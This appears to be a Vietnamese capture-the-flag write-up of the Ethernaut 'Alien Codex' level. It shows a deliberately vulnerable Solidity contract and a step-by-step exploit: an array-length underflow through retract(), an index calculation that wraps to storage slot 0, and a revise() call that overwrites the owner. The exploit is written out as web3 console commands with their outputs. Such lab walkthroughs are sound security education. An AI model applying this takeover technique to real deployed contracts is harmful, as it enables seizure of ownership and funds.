19. Alien Codex
Nhiệm vụ: Chiếm quyền owner.
// SPDX-License-Identifier: MIT
pragma solidity ^0.5.0;
import '../helpers/Ownable-05.sol';
contract AlienCodex is Ownable {
bool public contact;
bytes32[] public codex;
modifier contacted() {
assert(contact);
_;
}
function make_contact() public {
contact = true;
}
function record(bytes32 _content) contacted public {
codex.push(_content);
}
function retract() contacted public {
codex.length--;
}
function revise(uint i, bytes32 _content) contacted public {
codex[i] = _content;
}
}
Phân tích
Đầu tiên ta cần hiểu về cách lưu trữ của solidity:
- Dynamic size array sẽ lưu tại một slot nhớ, slot này chỉ lưu
độ dàicủa array. - Phần tử trong dynamic array tại slot
psẽ được lưu trữ lần lượt từkeccak256(p), một lưu ý quan trọng là p là chuỗi 32 bytes, chứ không phải là giá trị uint.
Các bạn có thể tham khảo thêm về storage của solidity tại bài viết này của mình: https://www.kiendt.me/2018/05/01/smart-contract-storage/
Trong contract có cung cấp cho chúng ta 2 hàm mà ta có thể khai thác:
function retract() contacted public {
codex.length--;
}
function revise(uint i, bytes32 _content) contacted public {
codex[i] = _content;
}
do đó ta có ý tưởng là:
- mở toàn bộ các slot của dynamic array
codexbằng cách khai thác lỗ hổngunderflowbằng hàmretract. Khi độ dài xuống dưới 0 thì sẽ quay trở lạimaxuint. - địa chỉ của owner được lưu trữ tại vị trí slot 0 (cùng với biến
bool contact), ta sẽ tịnh tiến vị trí củaitrong hàmreviseđến vị trí 0 bằng cách khai thác lỗ hổngoverflow, sau đó ghi đè lên giá trị của owner.
Solution
- đầu tiên ta phải make_contract để có thể gọi được các hàm tiếp theo
contract.make_contact();
- mở toàn bộ các slot của
codex
contract.retract();
- kiểm tra lại xem toàn bộ slot đã được mở chưa?
await web3.eth.getStorageAt(instance, 1);
> 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
- phần tử đầu tiên của
codexsẽ được lưu trữ tại:
web3.utils.keccak256('0x0000000000000000000000000000000000000000000000000000000000000001');
> '0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6';
- Tính toán giá trị
icần để overflow và tịnh tiến đến vị trí 0 (ở đây số lớn mình tính bằng python cho tiện)
0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff - 0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6 + 1
> 35707666377435648211887908874984608119992236509074197713628505308453184860938
- kiểm tra trạng thái của slot 0
await web3.eth.getStorageAt(instance, 0);
> 0x000000000000000000000001da5b3fb76c78b6edee6be8f11a1c31ecfb02b272
trong đó da5b3fb76c78b6edee6be8f11a1c31ecfb02b272 là địa chỉ của owner, số 1 phía trước là giá trị bool(true) của biến contact.
-
để thay địa chỉ owner bằng địa chỉ của mình, ta cần thay giá trị
da5b3fb76c78b6edee6be8f11a1c31ecfb02b272trong slot bằng địa chỉ của mình, trong trường hợp này làc3a005e15cb35689380d9c1318e981bca9339942. Giá trị của slot sẽ là0x000000000000000000000001c3a005e15cb35689380d9c1318e981bca9339942 -
đưa tất cả vào hàm
revise
contract.revise(
"35707666377435648211887908874984608119992236509074197713628505308453184860938",
"0x000000000000000000000001c3a005e15cb35689380d9c1318e981bca9339942"
);
- kiểm tra lại contract owner:
await contract.owner();
> '0xC3a005E15Cb35689380d9C1318e981BcA9339942'
- Submit & all done!
